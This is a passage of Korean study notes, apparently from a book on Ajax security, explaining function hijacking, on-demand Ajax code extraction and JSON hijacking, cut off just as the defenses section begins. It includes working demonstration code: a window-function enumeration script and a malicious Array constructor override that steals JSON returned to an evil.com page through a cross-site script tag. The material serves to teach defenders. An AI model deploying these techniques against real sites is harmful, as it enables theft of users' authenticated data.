'Loading', 'Loaded', 'Interactive', 'Complete']; // A-2의 끼워넣기 함수를 Ajax.Request가 가르키게 하기 Ajax.Request = FakeAjaxRequest; |
프로토 타입 프레임워크의 취약점을 이용한 것이 아니라 모든 프레임워크,자바스크립트 함수에서 동작한다.즉, 브라우져에서 해당 네이티브 함수를 어떻게 구현 하였는가에 따라 달라진다.
하이재킹 기술에 대한 대처법
-클라이언트단 코드의 무결성을 검증하는 코드를 넣는 것
ex)
1).프로토 타입에서는 ValidateIntegrity() Ajax.Request()처럼 자주 쓰는 함수의 toString() 함수를 호출해 조작이 됐는지 확인 할 수 있다.
하지만 ValidateIntegrity()가 항상 true 로 리턴 되게 하면 무용지물이 될 수있다.
2).클라이언트 기반 MD5해시값을 서버에 보내 클라이언트와 서버가 통신 하기 전에 무결성을 검증하는 방법, 하지만 해커가 클라이언트 코드의 실제 MD5값을 계산 하면 무용지물 등.
클라이언트 단 코드의 무결성 검증은 불가능하다.
2.주문형 Ajax의 하이재킹
주문형 Ajax란 필요시 동적으로 자바스크립트 코드를 다운로드 하는 기술이다. 게으른 로딩(lazy loading) 또는 지연된 로딩(delayed loading)이라고 한다. Dojo의 패키징 시스템에서 이를 이용한다. 동적으로 Script 태그를 생성하고 코드를 가져온다. 이는 자바스크립트 파일 목록에도 나타나지 않는다.
공격하는데 실제 필요한 것은 자바스크립트 디버거와 자바스크립트에 쓰여진 값을 모니터링 하는 것이다.
자바스크립트 모니터링/디버깅을 하기 위해서 먼저 현재 자바스크립트 환경에서 접근 가능한 함수가 무엇인가 알아본다. 사용자 정의 함수는 전역 window 객체의 프로퍼티이다.
|
<script> function BogusFunction1() { //empty function } function BogusFunction2() { //empty function } var ret = ""; for(var i in window) { if(typeof(window[i]) == "function") { ret += i + "\n"; } } alert(ret); </script> |
IE 이외의 브라우져에서 위의 같이 함수 객체를 얻어 올 수 있다.
IE 에서는 네임스페이스를 이용하여 객체의 프로퍼티를 열거해 함수를 찾을 수 있다. 웹 브라우져를 미리 방문해 자바스크립트 코드의 레이아웃을 살펴보면 네임스페이스를 알 수 있다.
-코드가 새롭게 추가되는 것을 알게 할 수 있는 툴
보통 모든 함수를 스캔하는 코드를 실행해 사용자 정의 함수 목록을 만들어 주게 한다. setInterval() 함수로 스캐닝 코드를 반복 실행해 새로 추가된 함수의 소스코드를 얻을 수있다.
ex)Hook 툴(좀더 찾아봐야됨)
그림>HOOK window 객체 열거를 통해 FRAME 에서 두개의 사용자 정의 함수를 추출하고 있다.
그림>HOOK이 새롭게 추가되 ㄴ네개의 함수를 찾아냈다.반면,후면의 파이어버그에선 새롭게 추가된 함수와 관련된 정보를 볼 수 없다.
HOOK은 사용자 정의 함수 객체에 valueof()를 호출해 해당 자바스크립트 함수를 추출한다.
그림>HOOK이 네 개의 새로 추가된 함수를 찾아서 추출하고 있다. secret()함수엔 암호나 키처럼 보이는 것이 있음을 알 수 있다.
3.JSON API 하이재킹
보통 XSS 취약점이 있거나 사용자 자바스크립트 위젯 같은 코드를 업로드 하는 사이트에서 발생한다. 크로스사이트 요청 변조(CSRF)와 자바스크립트 함 수 덮어쓰기 등과 같이 사용하는 기술이다.
JSON 하이재킹이 가능한 이유는 JSON이 자바스크립트 소스코드의 부분집합이기 때문이다. 즉, JSON 배열을 얻어 SCRIPT 태그에 넣을 수 있다.
|
<script type="text/javascript"> //error 가 나지 않는다. [["AJAXWorld", "2007-04-15", "2007-04-19", ["ATL", "JFK", "ATL"], 95120657, true], ["Honeymoon", "2007-04-30", "2007-05-13", ["ATL", "VAN", "SEA", "ATL"], 19200435, false], ["MS Trip", "2007-07-01", "2007-07-04", ["ATL", "SEA", "ATL"], 74905862, true], ["Black Hat USA", "2007-07-29" "2007-08-03", ["ATL", "LAS", "ATL"], 90398623, true]]; </script> |
JSON을 리턴하는 웹서버의 Ajax 종점을 SCRIPT 태그로 가리키게 해서 자바스크립트 인터프리터가 배열 생성자 함수인 Array()를 강제적으로 실행하게 할 수 있다.
|
function Array() { var foo = this; var bar = function() { var ret = "Captured array items are: ["; for(var x in foo) { ret += foo[x] + ", "; } ret += "]"; //notify an attacker. Here we just display it alert(ret); }; setTimeout(bar, 100); } |
임의의 함수인 bar()를 생성해 변수 foo(배열에 저장된 모든아이템)의 모든 모든 프로퍼티를 추출한다. 악의적인 배열 생성자가 setTimeout()함수로 100밀리초 후에 bar() 함수를 호출하는 것이다.
아래의 코드를 보면 다음 코드의 웹페이지를 읽었다.
|
<html> <head> <title>JSON Hijacking Demo</title> <link rel="stylesheet" type="text/css" href="media/style.css"/> <link rel="shortcut icon" href="/favicon.ico" /> </head> <body> <script> function Array() { //... 간략화를 위해 생략 } </script> <!—서드파티 사이트의 종점을 직접 포함하는 스크립트--> <script src="http://www.hightechvacations.net/Vacations/ajaxcalls/" + "PastTrips.ashx"> </script> ... </html> |
그림 7-12 다른 웹 사이트를 가르키고 있는 소스 속성을 가진 스크립트 태그가 있는 evil.com을 앨리스가 방문했다. evil.com이 배열 생성자를 바꿔치기 했기 때문에 서드 파티 웹사이트가 리턴 하는 JSON 배열 콘텐츠의 내용을 evil.com 이 훔출 수있다.
1)악의적인 배열 생성자를 갖고 있어서 생성된 배열의 콘텐츠가 evil.com 으로 가게된다.
2) 스크립트 태그는 HighTechVacation.net의 PasTrips.ashx 종점으로 외부 참조가 되어있다.고전적인 CSRF공격처럼 브라우저가 인증된 요청을 HighTechVacation.net의 PastTrip.ashx로 보낸다.
3)브라우저가 스크립트 태그안에 JSON 배열을 받으면 자바스크립트 인터프리터에 값을 건네고 악의적인 배열 생성자를 호출해 배열 리터럴의 내용을 추출한다.
객체 리터럴 하이재킹
|
<script type="text/javascript"> {"frequentFlyer": true, "miles": 19200} </script> |
자바스크립트를 파싱하면 invalid label 이라는 문법 에러가 발생한다.
자바스크립트 라벨은 인용부호를 포함할 수없다. 즉, ({"suit": "spades", "value": "jack"})처럼 JSON 객체가 있다면 이는 적법한 스크립트이다.
JSON 하이재킹이 가능한 이유
1.Ajax 종점이 리턴하는 JSON 배열 리터럴과 객체 리터럴은 문법적으로 맞는 자바스크립트여야 한다.
2.자바스크립트 인터프리터가 리터럴을 만나면 자동적으로 배열이나 객체 생성자를 호출해야한다.
JSON 하이재킹을 막는법
JSON 하이재킹을

이올린에 북마크하기